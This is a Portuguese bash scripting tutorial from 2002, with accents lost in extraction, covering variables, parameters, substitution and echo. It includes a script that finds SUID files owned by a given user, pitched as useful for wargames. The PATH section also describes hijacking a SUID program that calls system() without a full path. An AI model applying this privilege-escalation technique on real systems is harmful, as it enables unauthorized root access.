You are on page 1of 73

.----------------------------------. | Programao em Bourne-Again Shell `------------------------------------, | Por MELEU <meleu@meleu.cjb.net> http://meleu.da.ru 05/2002 | `------------------------------------------------------------------------' - = < N D I C E > = 0. Intro 1.

. Comeando 2. Variveis e Parmetros 2.1. Variveis do Usurio 2.1.1. Variveis Array 2.2. Variveis do Shell 2.3. Variveis Somente-Leitura 2.4. Parmetros 2.4.1. shift 2.4.2. set (para editar parmetros) 2.5. Substituio de Variveis 3. Entrada e Sada (I/O) 3.1. echo 3.1.1 Sequncias de Escape ANSI 3.2. read 3.3. Redirecionamento 3.3.1. Pipe 3.3.1.1. Comandos teis com o Pipe 4. Comandos de Tomadas de Deciso 4.1. if-then-else e afins 4.1.1. test 4.1.2. let 4.2. case 4.3. Tomadas de deciso com && e || 4.3.1. Listas 5. Comandos de Loop 5.1. for 5.1.1 "for" como na linguagem C 5.2. while 5.3. until 5.4. break e continue 5.5. Redirecionando loops 6. Funes 6.1 Funes como comandos 7. Tornando seu Script Amigvel 7.1. getopts 7.2. select 7.3. dialog 8. Coisas teis de se aprender 9. Exemplos Variados 9.1. backup.sh 9.2. howto.sh

9.3. todo.sh 9.4. inseretxt.sh 9.5. Mextract.sh 10. Referncias 11. Consideraes Finais

-------------------------------------------------------------------------0. Intro ***** ***** PRIMEIRO DE TUDO ************************************************** * * * Esta a primeira verso do texto e ele est relativamente grande * * para que um nico mortal revise-o por inteiro, com o agravante de que * * este mortal um vestibulando. Por favor, se voc achar algum erro, * * algo mal explicado, ou tem alguma sugesto para que o texto fique * * melhor mande-me um email: meleu@meleu.cjb.net * * Quando eu tiver tempo eu acrescentarei mais coisas... * * * ************************************************************************* Well... aqui estamos de volta... Dessa vez o assunto shell script... Estou partindo do princpio de que ningum aqui tem dvidas quanto a utilidade de um shell script. Roubando uma citao de um amigo: "Em alguns casos, uma rede pode nao possuir um compilador (Vide Conectiva 5.0), logo, voce precisa se virar com o que tem, e os Shell Scripts podem suprir a sua necessidade em muitos casos." Eu j procurei um bocado de material sobre shell script em portugus na net e encontrei vrios. Porm a maioria sobre Korn Shell, C Shell, poucos eram sobre bash. E os de bash eram muito superficiais. Explicavam s o comeo de como criar seus shellscripts. Ento o que eu pretendo aqui entrar no assunto desde o incio e com alguns detalhes (talvez no muitos). Note tambm que muitas coisas explicadas aqui podem ser usadas em outros shells. Minhas fontes de pesquisa sero muito teis para voc, que um newbie dedicado. Portanto consulte a seo de referncias que voc vai achar muita coisa boa. O nico pr-requisito para o entendimento deste texto que o leitor tenha alguma familiaridade com os comandos UNIX. Uma noozinha de programao (algoritmos) cairia bem. Se voc no tem (ou acha que no tem) o pr-requisito acima citado, voc pode adquir-lo lendo o focalinux <http://www.focalinux.org>, ele um bom material em portugus sobre os comandos, uso, configurao, etc. do GNU/Linux. Leitura recomendada! Se voc sabe usar Expresses Regulares fica melhor ainda! Se no sabe aprenda a usar! Veja um guia sobre esse assunto na seo de referncias. de extrema importncia que voc v praticando assim que aprender algo novo, isso ajuda a se familiarizar e memorizar as coisas.

Por favor, no pense que sou um expert ou um guru em shell scripting! Eu s estava aprendendo e resolvi escrever isso pra ajudar quem tambm est afim de aprender. No se esquea: O aprendizado eterno! ;-) A maioria dos scripts chamam programas existentes no sistema, no ficarei explicando o que faz cada comando. Se voc quer saber o que ele faz, sua sintaxe e etc. procure na pgina man. Se voc tiver alguma dvida sobre o bash use: "help" ou "man bash". A manpage bastante completa (e grande tambm)! Use-a como referncia. Para sua comodidade eu coloquei os cdigos entre as tags do Phrack Extraction Utility. Voc pode encontr-lo na ltima edio da phrack em <http://www.phrack.org>. Eu fiz um script em bash para extrao dos cdigos baseado no Phrack Extraction Utility, chama-se Meleu Extraction Utility (hehehe... qualquer semelhana NO mera coincidncia). Ele se encontra no tpico "9.5. Mextract.sh" e tambm em <http://meleu.da.ru/src/Mextract>. O esquema de organizao o seguinte: exemplos bestas ficam no diretrio "BashScript/" os exemplos bacanas ficam no diretrio "BashScript/bacanas/". * Ateno na verso em que eu fiz os meus testes, pois em verses antigas algumas coisas podem no funcionar (este e o que vem na instalao do Slackware 8.0): /* -=-=-=-=-= version =-=-=-=-=- */ meleu@meleu:~$ bash --version GNU bash, version 2.05.0(1)-release (i386-slackware-linux-gnu) Copyright 2000 Free Software Foundation, Inc. /* -=-=-=-=-= version =-=-=-=-=- */ Agradecimentos: A todos que fazem um esforcinho para publicar informaes de qualidade em portugus. Especialmente para meus amiguinhos(as): lucipher, klogd, module, eSc2, xf, Emmanuele, Mana_Laura, NashLeon, Hekodangews, Blind_Bard, clausen, Renato <www.linuxsecurity.com.br>, hts, EvilLord, aurlio (assim como eu tambm um dinossauro-amante-do-modo-texto), s pessoas que levam a Unsekurity Scene <http://unsekurity.virtualave.net> a srio, aos camaradas da EoH Team <http://eoh-team.tk>, e outros pessoas que eu posso no me lembrar agora mas que tambm so meus camaradas. lgico que tambm devo agradecimentos a toda a comunidade Open Source, sem a qual tudo isso aqui no existiria! Amo vocs! =D LICENSA: No quero nenhuma exclusividade! Quero informao fluindo! Pegue este texto e espalhe em todo lugar em que ele for bem-vindo. Se quiser extrair trechos dele e puder fazer o favor de citar de onde foi extrado, eu me sentiria agradecido.

--------------------------------------------------------------------------

1. Comeando *********

Como voc j deve saber, um shell script um arquivo em formato texto puro que contm comandos/instrues para serem executados em uma determinada shell. O que vou tentar passar neste texto como fazer shell script para o Bourne-Again Shell, ou bash. Esta uma linguagem interpretada (voc no precisa compilar para ter o executvel) e o bash o interpretador. Veja um exemplo de script: /* --------------- */ <++> BashScript/primeiroexemplo.sh #!/bin/bash echo 'Alo mame!' echo echo 'Agora executarei um simples "ls -l", veja: ' echo ls -l <--> /* --------------- */ Para que se possa executar um shell script necessrio permisso de execuo (mais sobre permisses em http://meleu.da.ru/index.html#textos ). Para que somente voc (dono do arquivo) tenha permisso de execuo para o primeiroexemplo.sh voc faz: $ chmod u+x primeiroexemplo.sh Agora voc pode executar o script da seguinte forma: $ ./primeiroexemplo.sh Veja outro exemplo de apenas um comando: /* ----------------- */ <++> BashScript/procura_suid.sh #!/bin/bash # script para procurar arquivos suid # que pertenam a determinado usurio find / -user $1 -perm -4000 2> /dev/null <--> /* ----------------- */ Agora vamos a uma rpida explicao sobre o cdigo... - Na primeira linha ns dizemos qual ser o nosso intrepretador de comandos (o shell). Voc deve comear a linha com um "#!" (conhecido como sha-bang) e depois o caminho inteiro para o bash. - Nas segunda e terceira linhas so usados comentrios, todo comentrio comea com uma cerquilha (#) e vai at o final da linha; - A ltima linha que realmente o comando, o $1 significa o primeiro parmetro dado na linha de comando (ser falado mais sobre isso daqui a pouco), por exemplo: $ ./procura_suid.sh level5 ir procurar por todos os arquivos suid que pertenam ao usurio level5. Como voc deve ter reparado, esse shell script til nos wargames (veja 10. Referncias), mas tem que ser muito preguioso pra fazer um shell script de um comando s! :P De vez em quando bom observar o que o script est fazendo. Para isso voc pode usar alguns parmetros junto com o shell para executar seu

script. Veja: /* -=-=-=-=-=-= debugar =-=-=-=-=-=- */ $ bash -x BashScript/primeiroexemplo.sh + echo 'Alo mame!' Alo mame! + echo + echo 'Agora executarei um simples "ls -l", veja: ' Agora executarei um simples "ls -l", veja: + echo + ls -l total 12 drwxr-xr-x 5 drwxr-xr-x 2 drwxr-xr-x 2 /* -=-=-=-=-=-=

meleu meleu meleu debugar

users users users =-=-=-=-=-=-

4096 Aug 18 15:28 GNUstep 4096 Aug 19 23:11 progs 4096 Aug 19 22:57 txts */

O parmetro "-x" faz com que seja exibido o comando e depois a sada do comando. Outros parmetros interessantes para a "debuagao" do script so: -n -v no executa os comandos, apenas verifica erros de sintaxe (noexec); mostra o script e depois executa-o (verbose);

Outra coisa que devemos saber que quando um shell script executado ele usa OUTRA SHELL e NO USA A SHELL ATUAL. Desculpem eu estar berrando deste jeito... :P mas importante termos isso em mente quando formos usar variveis. Falando em variveis...

--------------------------------------------------------------------------

2. Variveis e Parmetros ********************** Ao contrrio das outras linguagens, o bash no possui "tipos de dados", todas as variveis so strings. O bash usa strings para representar todos os dados que sero usados pelas variveis. A seguir falaremos sobre os *tipos de variveis* (e no "tipos de dados"). Se voc conhece alguma outra linguagem de programao sabe que os identificadores possuem algumas regras quanto a sua nomeclatura. Pois no bash as regras so parecidssimas: * * * E * S se pode usar caracteres alfanumricos e underline; S se pode comear com letra ou underline (nmero no pode); No pode conter espaos em branco; uma coisa que ns, falantes da lngua portuguesa temos que saber : Os identificadores NO podem conter acentos!

enfim... todas aquelas regrinhas para identificadores de linguagens de programao tambm se aplica aqui, exceto aquela famosa sobre palavras

reservadas. Voc pode por exemplo fazer "if=lalala" que funcionar perfeitamente. A nica coisa que no pode usar um nome que j tenha sido definido para uma outra varivel e que esta seja "readonly" (mais sobre isso adiante). Tambm deve-se tomar cuidado para no fazer bobagens com as variveis do shell (explicados no tpico 2.2.).

2.1. Variveis do Usurio ==================== As variveis do usurio so as variveis que voc pode declarar, ler, inicializar e modificar. No exemplo abaixo ns criamos uma varivel chamada "nome" e atribumos a ela o valor "Meleu". Veja: $ nome=Meleu No pode haver espaos nem antes nem depois do sinal de '='! Se voc quiser atribuir um valor que contenha espaos necessrio usar as 'aspas simples'. Veja: $ nome='Meleu nao eh meleca!' Agora para usar a varivel s voc colocar um cifro '$' antes do nome dela. Olhe um exemplo com e sem o '$': $ echo nome nome $ echo $nome Meleu no eh meleca! Existe diferena entre usar 'aspas simples', "aspas duplas", `crases` e no usar nada. Veja isto: /* -=-=-=-=-= exemplos =-=-=-=-=- */ $ caminho='O meu path eh: $PATH' $ echo $caminho O meu path eh: $PATH $ caminho="O meu path eh: $PATH" $ echo $caminho O meu path eh: /usr/local/bin:/usr/bin:/bin:/usr/X11R6/bin:/usr/openwin/bin $ teste=`ls $HOME` $ echo $teste GNUstep/ progs/ textos/ $ conteudo_dir="Meu diretorio home contem: `ls $HOME`" $ echo $conteudo_dir Meu diretorio home contem: GNUstep/ progs/ textos/ $ teste=isso nao eh valido bash: nao: command not found $ teste=mas_isso_eh_valido $ echo $teste mas_isso_eh_valido

/* -=-=-=-=-= exemplos =-=-=-=-=- */ Os mais espertos j perceberam as diferenas... mas para os mais lerdinhos (como eu) a vai uma explicao. + 'aspas simples': atribuem varivel EXATAMENTE o que est entre elas; + `crases`: atribuem varivel a *sada do comando* que est entre elas, tem a capacidade de ver o contedo de uma varivel (no exemplo acima, a varivel de ambiente $HOME); + "aspas duplas": atribuem varivel a string, o valor das variveis que porventura podem estar entre elas (no segundo exemplo, a varivel de ambiente $PATH), e tambm a sada de comandos que estejam entre `crases`; + nada: similar as aspas duplas, porm ignora espaos excedentes. Podemos usar $(cifro-parnteses) no lugar das crases. Em alguns casos melhor usar $(cifro-parnteses) mas eu no vou falar em quais, voc vai descobrir quando. ;-) Veja estes exemplo: /* -=-=-= exemplo =-=-=- */ $ dir_atual=$(pwd) $ echo $dir_atual /home/meleu $ echo $(ls $HOME) GNUstep/ progs/ textos/ $ tar czvf backup_$(date +%d-%m-%Y).tgz arquivo /* -=-=-= exemplo =-=-=- */ Outra coisa interessante o uso das {chaves}. Voc pode usar as chaves para exibir uma varivel (ex.: echo ${teste}), isso til quando voc precisa separar a varivel do que vem depois dela. Veja isto: /* -=-=-=-=-= exemplo =-=-=-=-=- */ $ name=coracao $ echo ${name}deleao coracaodeleao /* -=-=-=-=-= exemplo =-=-=-=-=- */ Como eu disse anteriormente, quando executamos um shell script ele usa outro shell, portanto toda varivel que for criada/inicializada num shell script perder seu valor no final da execuo do mesmo. No entanto, voc pode fazer um shell script usar variveis de usurio exportando-a com o comando "export" (ver man page do bash). Um exemplo simples: /* -=-=-=-=-= exemplo =-=-=-=-=- */ $ cat teste.sh #!/bin/bash echo "$VAR" $ export VAR='Um abraco para os gajos de Portugal! :)' $ ./teste.sh Um abraco para os gajos de Portugal! :)

$ export VAR='--> mudei a variavel <--' $ ./teste.sh --> mudei a variavel <-/* -=-=-=-=-= exemplo =-=-=-=-=- */

2.1.1. Variveis Array --------------Tambm conhecidas como vetores. Este tipo de varivel serve para se armazenar vrios valores sob um nome e um ndice. A maneira de declarar variveis array a seguinte: NomeDaVariavel[Indice]=Valor sendo que Indice deve ser necessariamente um valor inteiro. Imaginemos que EvilLord queira armazenar uma lista de suas frutas favoritas em uma varivel array. Para isso ele faria o seguinte: /* -=-=-= exemplo =-=-=- */ $ FRUTA[0]=goiaba $ FRUTA[1]=manga $ FRUTA[2]=pera $ FRUTA[3]=laranja /* -=-=-= exemplo =-=-=- */ Supondo que ele colocou esta lista em ordem decrescente de gosto, para sabermos qual a sua fruta favorita basta digitarmos: $ echo ${FRUTA[0]} Bacana no acham? Agora vejamos uma coisa interessante. Se eu declarar uma frut... ops! digo, se eu declarar uma varivel assim: $ FRUTA=goiaba e depois quiser fazer um array com o nome FRUTA eu posso fazer assim: $ FRUTA[1]=manga Desta maneira 'goiaba' passa a ser armazenada em FRUTA[0] Outra coisa interessante que podemos declarar um array inteiro numa nica linha de comando. Para isto usamos a sintaxe: NomeDoArray=(valor1 valor2 ... valorn) Desta maneira o EvilLord economizaria teclado (?!) digitando isto: $ FRUTA=(goiaba manga pera laranja) E para vermos toda a lista de uma vez s, podemos usar o seguinte comando: $ echo ${FRUTA[*]}

Existem vrias outras especificaes para arrays mas quero passar aqui s o bsico. E se voc precisar usar arrays de maneira mais complexa que isso: v procurar a documentao oficial do bash! :P

2.2. Variveis do Shell ================== Existem variveis que o shell usa constantemente para um melhor funcionamento. O prprio shell inicializa algumas destas variveis, que podem ser lidas e alteradas pelo usurio, estas so conhecidas como variveis do shell. Servem para determinar qual o seu diretrio home, em qual diretrio o shell vai procurar por comandos que voc digitar, seu prompt... enfim... um bocado de coisas. Voc pode atribuir novos valores para estas variveis (uma boa fazer isso no seu ~/.bashrc ou ~/.bash_profile). Vamos ver algumas destas variveis mais importantes e suas respectivas funes. --> HOME Esta varivel tem um nome bem descritivo no acham? Bem... como ns j sabemos, o nosso diretrio home o diretrio em que "camos" assim que nos logamos (sabemos tambm que esta informao se encontra em /etc/passwd). Quando voc se loga no sistema o bash pega o nome do diretrio que voc est e o atribui varivel HOME. Voc j deve ter percebido que quando voc d um "cd" sem nenhum argumento voc vai para o seu diretrio home. Pois o que o cd faz o mesmo que "cd $HOME". Se voc alterar o valor de HOME, quando voc digitar cd sem nenhum argumento o bash vai tentar te levar para o $HOME. Veja: /* -=-=-=-=-= exemplo =-=-=-=-=- */ meleu:/usr/doc$ echo $HOME /home/meleu meleu:/usr/doc$ cd meleu:~$ pwd /home/meleu meleu:~$ HOME=/tmp meleu:/home/meleu$ cd meleu:~$ pwd /tmp meleu:~$ HOME=lalala meleu:/tmp$ cd bash: cd: lalala: No such file or directory /* -=-=-=-=-= exemplo =-=-=-=-=- */ Voc tambm j deve ter reparado que quando estamos no nosso home aparece um til (~) logo antes do prompt. Observe este detalhe no exemplo acima. ;) --> PATH Esta varivel armazena o caminho (path) que o shell ir percorrer para procurar um comando digitado pelo usurio. Exemplo:

/* -=-=-= exemplo =-=-=- */ meleu@meleu:/tmp$ echo $PATH /usr/local/bin:/usr/bin:/bin:/usr/X11R6/bin:/usr/games:/usr/share/texmf/bin /* -=-=-= exemplo =-=-=- */ Portanto se eu digitar um "ls" o shell ir procurar pelo "ls" em /usr/local/bin depois em /usr/bin e da em diante. Esta varivel algumas vezes pode ser usada no hacking! Imagine que um programador inexperiente tenha feito um programa suid que usa a funo system() (ou qualquer outra funo que sirva para executar um comando externo), e nesta funo ele no usa o caminho completo do programa, e sim apenas o nome do programa, supondo que o programa est no seu PATH normal. Voc pode alterar o PATH e executar um outro programa de sua preferncia. Vamos supor que o cara use: system ("date"); no lugar de: system("/bin/date"); A voc faz um programa ou um shell script e nomeia ele como "date". Agora s alterar o PATH para que procure primeiro no diretrio onde voc salvou o SEU date, e ento executar o programa suid feito pelo incompetente programador. Faa uns testes a que voc vai me entender melhor. Esta situao bem difcil de se encontrar hoje em dia, resolvi colocar aqui por questes histricas. :P --> PS1 Esta a "Prompt String 1" ou "Primary Prompt String". Nada mais do que o prompt que nos mostra que o shell est esperando um comando. Quando voc muda PS1 voc muda a aparencia do prompt. Na minha mquina o padro '\u@\h:\w\$ ' onde \u significa o nome do usuario, \h significa o nome do host e \w o diretrio atual, o que d a seguinte aparncia: meleu@meleu:/usr/doc/Linux-HOWTOs$ Veja algumas possibilidades (na man page do bash tem mais): \d \h \s \t \T \u \w \W mostra a data atual mostra o hostname o nome do shell a hora atual (no estilo 24 horas) a hora atual (no estilo 12 horas) nome do usurio que est usando o shell nome do diretrio atual (caminho todo) nome do diretrio atual (somente o nome do diretrio)

Se voc estiver afim de ter a impresso de que est no shell do root basta trocar o '$' por '#' (bah! que bobagem! :P ). Para aprender a fazer um monte de gracinhas com o PS1 d uma lida no Bash-Prompt-HOWTO (ver 10. Referncias) --> PS2

Esta a "Secondary Prompt String". usada quando um comando usa mais de uma linha. Por exemplo: /* -=-=-= exemplo =-=-=- */ $ echo m\ > e\ > l\ > e\ > u meleu $ echo 'm > e > l > e > u' m e l e u /* -=-=-= exemplo =-=-=- */ Este sinal '> ' (maior-espao) o PS2. Voc pode usar os mesmos caracteres especiais que o PS1 usa. --> MAIL Nada mais do que o arquivo onde so guardados seus emails. Aqui na minha mquina eu uso o sendmail como servidor de email, portanto: /* -=-=-= MAIL =-=-=- */ meleu@meleu:~$ echo $MAIL /var/spool/mail/meleu /* -=-=-= MAIL =-=-=- */ porm se estivesse usando qmail seria: /* -=-=-= MAIL =-=-=- */ meleu@meleu:~$ echo $MAIL /home/meleu/Mailbox /* -=-=-= MAIL =-=-=- */ --> SHLVL Esta varivel armazena quantos shells voc executou a partir da primeira shell. Confuso? Vamos a um exemplo. Imagine que voc est usando o bash e executou o bash de novo, nesta situao o seu SHLVL vale 2. Veja isto: /* -=-=-= exemplo =-=-=- */ $ echo $SHLVL 1 $ bash # estou executando o bash a partir do bash $ echo $SHLVL 2 $ exit # sa do segundo bash exit

$ echo $SHLVL 1 /* -=-=-= exemplo =-=-=- */ Quando voc inicializa scripts a partir do comando "source" o script executado no shell pai, portanto se tiver um "exit" no script voc vai executar um logoff. a que est a utilidade da varivel SHLVL. Quando voc est no shell primrio o valor de SHLVL 1. Ento voc pode, atravs de um "if" por exemplo, executar o "exit" s se SHLVL for diferente de 1 (mais informaes sobre o source em "6.1 Funes como comandos").

--> PROMPT_COMMAND Esta bem interessante. Ela armazena um comando que ser executado toda hora que o prompt exibido. Veja: /* -=-=-= exemplo =-=-=- */ $ PROMPT_COMMAND="date +%T" 19:24:13 $ cd 19:24:17 $ ls GNUstep/ bons.txt pratica/ teste worldwritable.txt Mail/ hacking/ progs/ txts/ 19:24:19 $ 19:24:32 $ # isso eh uma linha sem nenhum comando 19:24:49 $ /* -=-=-= exemplo =-=-=- */ Esta varivel til quando queremos brincar com o prompt, para aprender mais sobre isso leia o Bash-Prompt-HOWTO (v. 10. Referncias). --> IFS O shell usa esta varivel para dividir uma string em palavras separadas. Normalmente o IFS um espao, uma tabulao (Tab) e um caractere nova linha (\n). Desta maneira: isto eh uma string so quatro palavras, pois IFS um espao e as palavras esto separadas por espao. Agora se eu mudar IFS para um ':' desta maneira: IFS=':' ento a string: isto:eh:uma:string conter quatro palavras. Isto til para casos como neste exemplo: /* ----------------- */ <++> BashScript/path.sh #!/bin/bash

IFS=':' for item in $PATH ; do echo $item done <--> /* ----------------- */ Se IFS for uma varivel nula (vazia), tudo ser considerado uma nica palavra. Por exemplo: se o IFS for nulo, toda essa linha ser considerada uma nica palavra

--> RANDOM Quando voc exibe esta varivel ("echo $RANDOM") exibido um nmero aleatrio entre 0 e 32767. Pra que serve isso? Sei l! Vrias coisas. Quem criativo sempre precisa de um nmero aleatrio... Imagine que voc queira um nmero de telefone celular qualquer (sei l pra qu!), voc pode fazer um script que gera um nmero desse pra voc. Aqui na minha regio estes nmeros comeam com 99 ou 98, e tm um total de 8 dgitos. O script a seguir gera nmeros que comecem com 98 somente: /* ----------------- */ <++> BashScript/cellnumbergen.sh #!/bin/bash NUM="98$(echo $RANDOM)0" CONT=$(echo -n $NUM | wc -c) # quantos digitos tem?

while [ $CONT -lt 8 ]; do # se nao tiver 8 digitos acrescenta 0's NUM=${NUM}0 CONT=$(echo -n $NUM | wc -c) done echo $NUM <--> /* ----------------- */ --> Outras Outras variveis que so muito usadas: MAILCHECK ; HISTFILE ; HOSTNAME ; LS_OPTIONS ; LS_COLOR ; MANPATH ; SHELL ; TERM ; USER ; PS3 . Estas so as mais utilizadas, porm existem muitas outras. Para ver quais so as variveis definidas no momento basta entrar com o comando "set". E para ver apenas as variveis de ambiente use "env". Olhe a man page do bash na seo "Shell Variables" para mais detalhes.

2.3. Variveis Somente-Leitura

========================= Como sabemos as variveis podem ter seu valor modificado pelo usurio, mas se ns quisermos variveis que NO possam ter seus valores alterados basta declararmos tal varivel como somente-leitura. Para tornar uma varivel read-only podemos usar o comando "readonly" ou ento "declare -r". Veja os exemplos a seguir, ambos possuem o mesmo resultado: /* -=-=-=-=-= exemplo-1 =-=-=-=-=- */ $ readonly NOME="Meleu Zord" $ echo $NOME Meleu Zord /* -=-=-=-=-= exemplo-1 =-=-=-=-=- */ /* -=-=-=-=-= exemplo-2 =-=-=-=-=- */ $ declare -r NOME="Meleu Zord" $ echo $NOME Meleu Zord /* -=-=-=-=-= exemplo-2 =-=-=-=-=- */ Agora s pra ter certeza: /* -=-=-= teste =-=-=- */ $ NOME=Fulano bash: NOME: readonly variable $ echo $NOME Meleu Zord /* -=-=-= teste =-=-=- */ Um bom uso deste tipo de varivel para garantir que variveis importantes de um determinado script no possam ser sobregravadas, evitando assim algum resultado crtico. O comando "readonly" quando usado sem parmetros (ou o comando "declare" apenas com o parmetro "-r") nos mostra todas as variveis declaradas como somente-leitura. No exemplo a seguir se for usado "declare -r" no lugar de "readonly" teramos a mesma sada. /* -=-=-=-=-= readonly =-=-=-=-=- */ $ readonly declare -ar BASH_VERSINFO='([0]="2" [1]="05" [2]="0" [3]="1" [4]="release" [5]="i386-slackware-linux-gnu")' declare -ir EUID="1005" declare -ir PPID="1" declare -r SHELLOPTS="braceexpand:hashall:histexpand:monitor:ignoreeof:interactive-comments :emacs" declare -ir UID="1005" /* -=-=-=-=-= readonly =-=-=-=-=- */ Existem vrias variveis somente-leitura que so inicializadas pelo shell, como USER, UID. TODAS as variveis readonly uma vez declaradas no podem ser "unsetadas" ou ter seus valores modificado. O nico meio de apagar as variveis readonly declaradas pelo usurio saindo do shell (logout).

2.4. Parmetros ========== Podemos passar parmetros para o shell script assim como na maioria dos programas. Os parmetros so variveis, digamos, especiais. Para comear elas no obedecem as regras de nomeclatura de variveis, pois elas usam nmeros; e tambm ns no podemos mudar o valor destas variveis pelas vias "tradicionais", para mudar o valor destas ns temos que contar com a ajuda do shift e/ou do set (como veremos adiante). Veja esta relao: $0 $1 a $9 ${10}, ${11}... $* $@ $# Outros: $? $$ valor de retorno do ltimo comando (explicado mais adiante); PID do script. o nome do shell script (a.k.a. parmetro zero); $1 o primeiro parmetro, $9 o nono, e assim por diante; quando o nmero do parmetro possui mais de um dgito necessrio o uso das chaves; todos os parmetros em uma nica string (exceto o $0); todos os parmetros, cada um em strings separadas (exceto $0); nmero de parmetros (sem contar com o $0).

Pra ficar mais claro, nada melhor do que um exemplo: /* ------------------ */ <++> BashScript/parametros.sh #!/bin/bash # # "basename" serve para eliminar o caminho do arquivo e mostrar # somente o ltimo nome dele. Neste caso: parametros.sh echo "Nome do script: `basename $0`" echo "Nmero total de parmetros: $#" echo "Primeiro parmetro: $1" echo "Segundo parmetro: $2" echo "Dcimo quinto parmetro: ${15}" echo "Todos os parmetros: $*" <--> /* ------------------ */ /* -=-=-=-=-= exemplo =-=-=-=-=- */ $ ./parametros.sh a b c d e f g h i j l m n o p q r s t u v x z Nome do script: parametros.sh Nmero total de parmetros: 23 Primeiro parmetro: a Segundo parmetro: b Dcimo quinto parmetro: p Todos os parmetros: a b c d e f g h i j l m n o p q r s t u v x z

/* -=-=-=-=-= exemplo =-=-=-=-=- */ Se voc no entendeu direito a diferena entre o $* e o $@, ento d uma olhada no seguinte script (se no entend-lo tudo bem, siga em frente e quando aprender sobre o "if" e o "for" leia-o novamente): /* ------------------ */ <++> BashScript/testargs.sh #!/bin/bash # Ao executar este script entre alguns parametros. Ex.: # [prompt]$ ./testargs.sh um dois tres quatro if [ -z "$1" ]; then echo "Uso: `basename $0` argumento1 argumento2 etc." exit 1 fi echo echo "Listando argumentos com \"\$*\":" num=1 for arg in "$*"; do echo "Arg #$num = $arg" num=$[ $num + 1 ] done # Concluso: $* mostra todos os argumentos como uma nica string echo echo "Listando argumentos com \"\$@\":" num=1 for arg in "$@"; do echo "Arg #$num = $arg" num=$[ $num + 1 ] done # Concluso: $@ mostra cada argumento em strings separadas echo <--> /* ------------------ */

2.4.1. shift ----O bash possui um comando embutido que lida com parmetros, o shift. Quando voc usa o shift sai o primeiro parmetro da lista e o segundo vai para $1 o terceiro vai para $2, e assim por diante. Voc pode ainda especificar quantas "casas" voc quer que os parmetros "andem" esquerda atravs de "shift n" onde 'n' o nmero de casas, mas se o nmero de casas que ele deve andar for maior que o nmero de parmetros o shift no executado. Veja este exemplo: /* ------------------ */ <++> BashScript/shift-exemplo.sh #!/bin/bash echo "$#: $*" echo -e "executando \"shift\"" shift

echo "$#: $*" echo -e "executando \"shift 5\"" shift 5 echo "$#: $*" echo -e "executando \"shift 7\"" shift 7 echo "$#: $*" <--> /* ----------------- */ /* -=-=-=-=-= shift =-=-=-=-=- */ $ ./shift-exemplo.sh 1 2 3 4 5 6 7 8 9 0 10: 1 2 3 4 5 6 7 8 9 0 executando "shift" 9: 2 3 4 5 6 7 8 9 0 executando "shift 5" 4: 7 8 9 0 executando "shift 7" 4: 7 8 9 0 /* -=-=-=-=-= shift =-=-=-=-=- */ Os valores que saem so perdidos. Use com ateno!

2.4.2. set (para editar parmetros) ---------------------------O que vou passar neste tpico no sobre como usar "todo o poder do comando set", e sim como usar set especificamente para editar parmetros. No tem nenhum segredo! Veja este exemplo: set um dois tres Isso far com que $1 seja 'um', $2 seja 'dois', $3 seja 'tres' e s! No existir $4, $5, etc. mesmo que eles tenham sido usados. Veja um exemplo de script: /* ----------------- */ <++> BashScript/setparam.sh #!/bin/bash echo "Os $# parmetros passados inicialmente foram: $@" echo echo "e agora eu vou alter-los!" echo "como eu sou mau... (huahuahau risada diablica huahuahuha)" echo set um dois tres echo "Os $# novos parmetros agora so: $@" echo <--> /* ----------------- */ No interessa quantos parmetros voc passar para este script, no final voc s ter $1, $2 e $3 valendo 'um', 'dois' e 'tres', respectivamente. No meu Mextract.sh (tpico 9.5.) esta caracterstica do set muito bem aproveitada! ;-)

2.5. Substituio de Variveis ========================= Isto muito til e pode ser muito mais elegante que ficar usando if's (explicados mais adiante) sem necessidade! Veja que bacana! ;-) --> ${variavel:-string} Se "variavel" no tiver sido definida ou for vazia ser substituda por "string". O valor da varivel no alterado. Veja este exemplo: /* -=-=-= exemplo =-=-=- */ $ echo ${URL:-"http://unsekurity.virtualave.net"} http://unsekurity.virtualave.net $ echo $URL # observe que URL nao foi alterado /* -=-=-= exemplo =-=-=- */ --> ${variavel:=string} Se "variavel" no estiver sido definida ou for vazia, receber "string". Exemplo: /* -=-=-= exemplo =-=-=- */ $ echo ${WWW:="http://meleu.da.ru"} http://meleu.da.ru $ echo $WWW http://meleu.da.ru /* -=-=-= exemplo =-=-=- */ --> ${variavel:?string} Se "variavel" no estiver sido definido ou for vazia, "string" ser escrito em stderr (sada de erro padro). O valor da varivel no alterado. Veja um exemplo: /* -=-=-= exemplo =-=-=- */ $ echo ${EDITOR:?"Nenhum editor de texto"} bash: EDITOR: Nenhum editor de texto $ echo $EDITOR /* -=-=-= exemplo =-=-=- */ --> ${variavel:+string} Se "variavel" estiver definida, ser substituda por "string" mas seu valor no ser alterado. Exemplo: /* -=-=-= exemplo =-=-=- */ $ echo ${BROWSER:+"BROWSER definido como \"$BROWSER\""} BROWSER definido como "links" /* -=-=-= exemplo =-=-=- */

--------------------------------------------------------------------------

3. Entrada e Sada (I/O) ********************* Comunicando-se...

3.1. echo ==== Nos j usamos o echo para escrever na tela, mas aqui vamos tratar de alguns "segredinhos" (que no so to secretos assim). Existem alguns momentos que voc no quer que a sada do echo pule de linha automaticamente. Para isso use o parmetro "-n". Este parmetro til quando voc vai entrar com algo aps o echo. Veja este script: /* ----------------- */ <++> BashScript/filetype.sh #!/bin/bash echo -n "Entre com o nome do arquivo: " read FILE echo "Tipo do arquivo `file $FILE`" <--> /* ----------------- */ Execute e veja o resultado. Muita ateno deve ser tomada ao usar o echo, pois as aspas que voc pode vir a deixar de usar podem fazer uma diferena danada (em alguns casos isso pode ser muito til). /* -=-=-= exemplo =-=-=- */ $ echo uma boa rede de irc que conheco eh irc.linux.org uma boa rede de irc que conheco eh irc.linux.org $ echo "uma boa rede de irc que conheco eh irc.linux.org" uma boa rede de irc que conheco eh irc.linux.org $ $ # agora um exemplo com variavel $ $ TESTE="primeira linha da variavel > segunda linha > terceira... > chega! :) > " $ echo $TESTE primeira linha da variavel segunda linha terceira... chega! :) $ echo "$TESTE" primeira linha da variavel segunda linha terceira... chega! :) /* -=-=-= exemplo =-=-=- */

